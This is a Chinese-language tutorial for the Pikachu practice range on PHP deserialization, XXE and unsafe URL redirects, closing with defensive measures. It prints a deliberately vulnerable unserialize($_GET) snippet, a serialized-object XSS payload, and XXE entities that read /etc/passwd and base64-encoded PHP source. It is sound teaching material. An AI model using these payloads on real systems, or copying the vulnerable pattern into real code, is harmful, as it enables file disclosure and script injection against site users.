Pikachu靶场-合集1
字数 1162 2025-08-24 20:49:22
PHP安全漏洞教学:反序列化、XXE与URL重定向
一、PHP反序列化漏洞
1. 序列化与反序列化基础
序列化(serialize()):将对象转换为可传输或存储的字符串格式
class S{
public $test="pikachu";
}
$s=new S();
serialize($s); // 输出: O:1:"S":1:{s:4:"test";s:7:"pikachu";}
反序列化(unserialize()):将序列化字符串还原为对象
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; // 输出: pikachu
2. 序列化字符串结构解析
O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O: 表示对象1: 对象名称长度"S": 对象名称1: 对象属性数量s:4:"test": 字符串类型,长度4,值为"test"s:7:"pikachu": 字符串类型,长度7,值为"pikachu"
3. 危险魔法函数
当反序列化用户可控数据时,以下魔法函数可能被利用:
__construct(): 对象创建时调用__destruct(): 对象销毁时调用__toString(): 对象被当作字符串使用时调用__sleep(): 对象序列化前调用__wakeup(): 对象反序列化后立即调用
4. 漏洞利用示例
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($s);
Payload构造:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
利用步骤:
- 本地构造恶意序列化字符串:
class S {
var $test = "<script>alert(/xss/)</script>";
}
$b = new S();
echo serialize($b);
// 输出: O:1:"S":1:{s:4:"test";s:29:"<script>alert(/xss/)</script>";}
- 将结果提交到漏洞网站触发XSS
二、XXE (XML外部实体注入)漏洞
1. XXE概述
"XML External Entity Injection",攻击者通过注入恶意XML实体内容,使服务器按照指定配置执行。
2. 基本XML示例
<?xml version = "1.0"?>
<!DOCTYPE gfzq [
<!ENTITY gfzq "gfzq">
]>
<name>&gfzq;</name>
3. 外部实体利用
使用SYSTEM关键词可从本地或远程读取数据:
读取本地文件:
<?xml version = "1.0"?>
<!DOCTYPE gfzq [
<!ENTITY gfzq SYSTEM "file:///etc/passwd">
]>
<x>&gfzq;</x>
使用PHP过滤器读取PHP文件:
<?xml version = "1.0"?>
<!DOCTYPE gfzq [
<!ENTITY gfzq SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&gfzq;</x>
4. 危害
- 读取任意文件
- 执行系统命令
- 探测内网端口
- 攻击内网网站
三、不安全的URL重定向
1. 漏洞描述
当后端使用前端传入的URL参数作为跳转目的地而未经验证时,可能导致钓鱼攻击。
2. 漏洞示例
https://vulnerable-site.com/redirect.php?url=https://www.baidu.com
3. 危害
- 钓鱼攻击:利用可信域名掩盖最终跳转的钓鱼网站
- 信任滥用:用户可能因信任原域名而点击恶意链接
四、防护措施
1. 反序列化防护
- 不要反序列化不可信数据
- 使用
json_encode()/json_decode()替代 - 对魔法函数进行安全审查
- 使用白名单验证反序列化类
2. XXE防护
- 禁用外部实体解析
- 使用最新版libxml(≥2.9.0默认禁用)
- 过滤用户提交的XML数据
- 禁用
LIBXML_NOENT选项
3. URL重定向防护
- 使用白名单验证重定向URL
- 固定重定向目标,不使用用户参数
- 对重定向进行明确提示
- 实施CSRF防护
五、总结
- 反序列化漏洞:源于不当处理用户可控的序列化数据,结合魔法函数导致代码执行
- XXE漏洞:源于XML解析器配置不当,允许解析外部实体导致信息泄露
- URL重定向:源于未验证的重定向目标,导致钓鱼攻击风险
安全开发中应始终遵循"不信任用户输入"原则,对所有用户提供的数据进行严格验证和过滤。